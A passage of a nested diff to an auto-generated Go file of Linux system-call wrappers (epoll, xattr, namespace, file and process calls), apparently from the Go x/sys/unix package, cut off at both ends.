-- r0, _, e1 := RawSyscall(SYS_EPOLL_CREATE, uintptr(size), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollCreate1(flag int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_EPOLL_CREATE1, uintptr(flag), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollCtl(epfd int, op int, fd int, event *EpollEvent) (err error) {
-- _, _, e1 := RawSyscall6(SYS_EPOLL_CTL, uintptr(epfd), uintptr(op), uintptr(fd), uintptr(unsafe.Pointer(event)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Eventfd(initval uint, flags int) (fd int, err error) {
-- r0, _, e1 := Syscall(SYS_EVENTFD2, uintptr(initval), uintptr(flags), 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Exit(code int) {
-- Syscall(SYS_EXIT_GROUP, uintptr(code), 0, 0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_FACCESSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fallocate(fd int, mode uint32, off int64, len int64) (err error) {
-- _, _, e1 := Syscall6(SYS_FALLOCATE, uintptr(fd), uintptr(mode), uintptr(off>>32), uintptr(off), uintptr(len>>32), uintptr(len))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchdir(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FCHDIR, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchmod(fd int, mode uint32) (err error) {
-- _, _, e1 := Syscall(SYS_FCHMOD, uintptr(fd), uintptr(mode), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_FCHOWNAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func fcntl(fd int, cmd int, arg int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-- val = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fdatasync(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FDATASYNC, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Flock(fd int, how int) (err error) {
-- _, _, e1 := Syscall(SYS_FLOCK, uintptr(fd), uintptr(how), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fsync(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getdents(fd int, buf []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_GETDENTS64, uintptr(fd), uintptr(_p0), uintptr(len(buf)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getpgid(pid int) (pgid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETPGID, uintptr(pid), 0, 0)
-- pgid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getpid() (pid int) {
-- r0, _, _ := RawSyscall(SYS_GETPID, 0, 0, 0)
-- pid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getppid() (ppid int) {
-- r0, _, _ := RawSyscall(SYS_GETPPID, 0, 0, 0)
-- ppid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getpriority(which int, who int) (prio int, err error) {
-- r0, _, e1 := Syscall(SYS_GETPRIORITY, uintptr(which), uintptr(who), 0)
-- prio = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getrandom(buf []byte, flags int) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_GETRANDOM, uintptr(_p0), uintptr(len(buf)), uintptr(flags))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getrusage(who int, rusage *Rusage) (err error) {
-- _, _, e1 := RawSyscall(SYS_GETRUSAGE, uintptr(who), uintptr(unsafe.Pointer(rusage)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getsid(pid int) (sid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETSID, uintptr(pid), 0, 0)
-- sid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Gettid() (tid int) {
-- r0, _, _ := RawSyscall(SYS_GETTID, 0, 0, 0)
-- tid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getxattr(path string, attr string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(dest) > 0 {
-- _p2 = unsafe.Pointer(&dest[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_GETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(dest)), 0, 0)
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func InotifyAddWatch(fd int, pathname string, mask uint32) (watchdesc int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(pathname)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall(SYS_INOTIFY_ADD_WATCH, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(mask))
-- watchdesc = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func InotifyInit1(flags int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_INOTIFY_INIT1, uintptr(flags), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func InotifyRmWatch(fd int, watchdesc uint32) (success int, err error) {
-- r0, _, e1 := RawSyscall(SYS_INOTIFY_RM_WATCH, uintptr(fd), uintptr(watchdesc), 0)
-- success = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Kill(pid int, sig syscall.Signal) (err error) {
-- _, _, e1 := RawSyscall(SYS_KILL, uintptr(pid), uintptr(sig), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Klogctl(typ int, buf []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_SYSLOG, uintptr(typ), uintptr(_p0), uintptr(len(buf)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Lgetxattr(path string, attr string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(dest) > 0 {
-- _p2 = unsafe.Pointer(&dest[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_LGETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(dest)), 0, 0)
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Listxattr(path string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 unsafe.Pointer
-- if len(dest) > 0 {
-- _p1 = unsafe.Pointer(&dest[0])
-- } else {
-- _p1 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_LISTXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(dest)))
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Llistxattr(path string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 unsafe.Pointer
-- if len(dest) > 0 {
-- _p1 = unsafe.Pointer(&dest[0])
-- } else {
-- _p1 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_LLISTXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(dest)))
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Lremovexattr(path string, attr string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_LREMOVEXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Lsetxattr(path string, attr string, data []byte, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(data) > 0 {
-- _p2 = unsafe.Pointer(&data[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_LSETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(data)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mkdirat(dirfd int, path string, mode uint32) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_MKDIRAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mknodat(dirfd int, path string, mode uint32, dev int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_MKNODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Nanosleep(time *Timespec, leftover *Timespec) (err error) {
-- _, _, e1 := Syscall(SYS_NANOSLEEP, uintptr(unsafe.Pointer(time)), uintptr(unsafe.Pointer(leftover)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func PivotRoot(newroot string, putold string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(newroot)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(putold)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_PIVOT_ROOT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func prlimit(pid int, resource int, newlimit *Rlimit, old *Rlimit) (err error) {
-- _, _, e1 := RawSyscall6(SYS_PRLIMIT64, uintptr(pid), uintptr(resource), uintptr(unsafe.Pointer(newlimit)), uintptr(unsafe.Pointer(old)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Prctl(option int, arg2 uintptr, arg3 uintptr, arg4 uintptr, arg5 uintptr) (err error) {
-- _, _, e1 := Syscall6(SYS_PRCTL, uintptr(option), uintptr(arg2), uintptr(arg3), uintptr(arg4), uintptr(arg5), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func read(fd int, p []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(_p0), uintptr(len(p)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Removexattr(path string, attr string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_REMOVEXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(oldpath)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(newpath)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func RequestKey(keyType string, description string, callback string, destRingid int) (id int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(keyType)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(description)
-- if err != nil {
-- return
-- }
-- var _p2 *byte
-- _p2, err = BytePtrFromString(callback)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall6(SYS_REQUEST_KEY, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(_p2)), uintptr(destRingid), 0, 0)
-- id = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setdomainname(p []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_SETDOMAINNAME, uintptr(_p0), uintptr(len(p)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Sethostname(p []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_SETHOSTNAME, uintptr(_p0), uintptr(len(p)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setpgid(pid int, pgid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETPGID, uintptr(pid), uintptr(pgid), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setsid() (pid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_SETSID, 0, 0, 0)
-- pid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Settimeofday(tv *Timeval) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETTIMEOFDAY, uintptr(unsafe.Pointer(tv)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setns(fd int, nstype int) (err error) {
-- _, _, e1 := Syscall(SYS_SETNS, uintptr(fd), uintptr(nstype), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setpriority(which int, who int, prio int) (err error) {
-- _, _, e1 := Syscall(SYS_SETPRIORITY, uintptr(which), uintptr(who), uintptr(prio))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setxattr(path string, attr string, data []byte, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(data) > 0 {
-- _p2 = unsafe.Pointer(&data[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_SETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(data)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Sync() {
-- Syscall(SYS_SYNC, 0, 0, 0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Syncfs(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_SYNCFS, uintptr(fd), 0, 0)
-+func fanotifyMark(fd int, flags uint, mask uint64, dirFd int, pathname *byte) (err error) {
-+ _, _, e1 := Syscall6(SYS_FANOTIFY_MARK, uintptr(fd), uintptr(flags), uintptr(mask>>32), uintptr(mask), uintptr(dirFd), uintptr(unsafe.Pointer(pathname)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1244,8 +24,8 @@ func Syncfs(fd int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Sysinfo(info *Sysinfo_t) (err error) {
-- _, _, e1 := RawSyscall(SYS_SYSINFO, uintptr(unsafe.Pointer(info)), 0, 0)
-+func Fallocate(fd int, mode uint32, off int64, len int64) (err error) {
-+ _, _, e1 := Syscall6(SYS_FALLOCATE, uintptr(fd), uintptr(mode), uintptr(off>>32), uintptr(off), uintptr(len>>32), uintptr(len))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1265,62 +45,8 @@ func Tee(rfd int, wfd int, len int, flags int) (n int64, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Tgkill(tgid int, tid int, sig syscall.Signal) (err error) {
-- _, _, e1 := RawSyscall(SYS_TGKILL, uintptr(tgid), uintptr(tid), uintptr(sig))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Times(tms *Tms) (ticks uintptr, err error) {
-- r0, _, e1 := RawSyscall(SYS_TIMES, uintptr(unsafe.Pointer(tms)), 0, 0)
-- ticks = uintptr(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Umask(mask int) (oldmask int) {
-- r0, _, _ := RawSyscall(SYS_UMASK, uintptr(mask), 0, 0)
-- oldmask = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Uname(buf *Utsname) (err error) {
-- _, _, e1 := RawSyscall(SYS_UNAME, uintptr(unsafe.Pointer(buf)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Unmount(target string, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(target)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UMOUNT2, uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Unshare(flags int) (err error) {
-- _, _, e1 := Syscall(SYS_UNSHARE, uintptr(flags), 0, 0)
-+func Dup2(oldfd int, newfd int) (err error) {
-+ _, _, e1 := Syscall(SYS_DUP2, uintptr(oldfd), uintptr(newfd), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1329,8 +55,9 @@ func Unshare(flags int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Ustat(dev int, ubuf *Ustat_t) (err error) {
-- _, _, e1 := Syscall(SYS_USTAT, uintptr(dev), uintptr(unsafe.Pointer(ubuf)), 0)
-+func EpollCreate(size int) (fd int, err error) {
-+ r0, _, e1 := RawSyscall(SYS_EPOLL_CREATE, uintptr(size), 0, 0)
-+ fd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1339,46 +66,14 @@ func Ustat(dev int, ubuf *Ustat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func write(fd int, p []byte) (n int, err error) {
-+func EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error) {
- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-+ if len(events) > 0 {
-+ _p0 = unsafe.Pointer(&events[0])
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(_p0), uintptr(len(p)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func exitThread(code int) (err error) {
-- _, _, e1 := Syscall(SYS_EXIT, uintptr(code), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func readlen(fd int, p *byte, np int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(unsafe.Pointer(p)), uintptr(np))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func writelen(fd int, p *byte, np int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(unsafe.Pointer(p)), uintptr(np))
-+ r0, _, e1 := Syscall6(SYS_EPOLL_WAIT, uintptr(epfd), uintptr(_p0), uintptr(len(events)), uintptr(msec), 0, 0)
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1388,118 +83,8 @@ func writelen(fd int, p *byte, np int) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func munmap(addr uintptr, length uintptr) (err error) {
-- _, _, e1 := Syscall(SYS_MUNMAP, uintptr(addr), uintptr(length), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Madvise(b []byte, advice int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MADVISE, uintptr(_p0), uintptr(len(b)), uintptr(advice))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mprotect(b []byte, prot int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MPROTECT, uintptr(_p0), uintptr(len(b)), uintptr(prot))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mlock(b []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
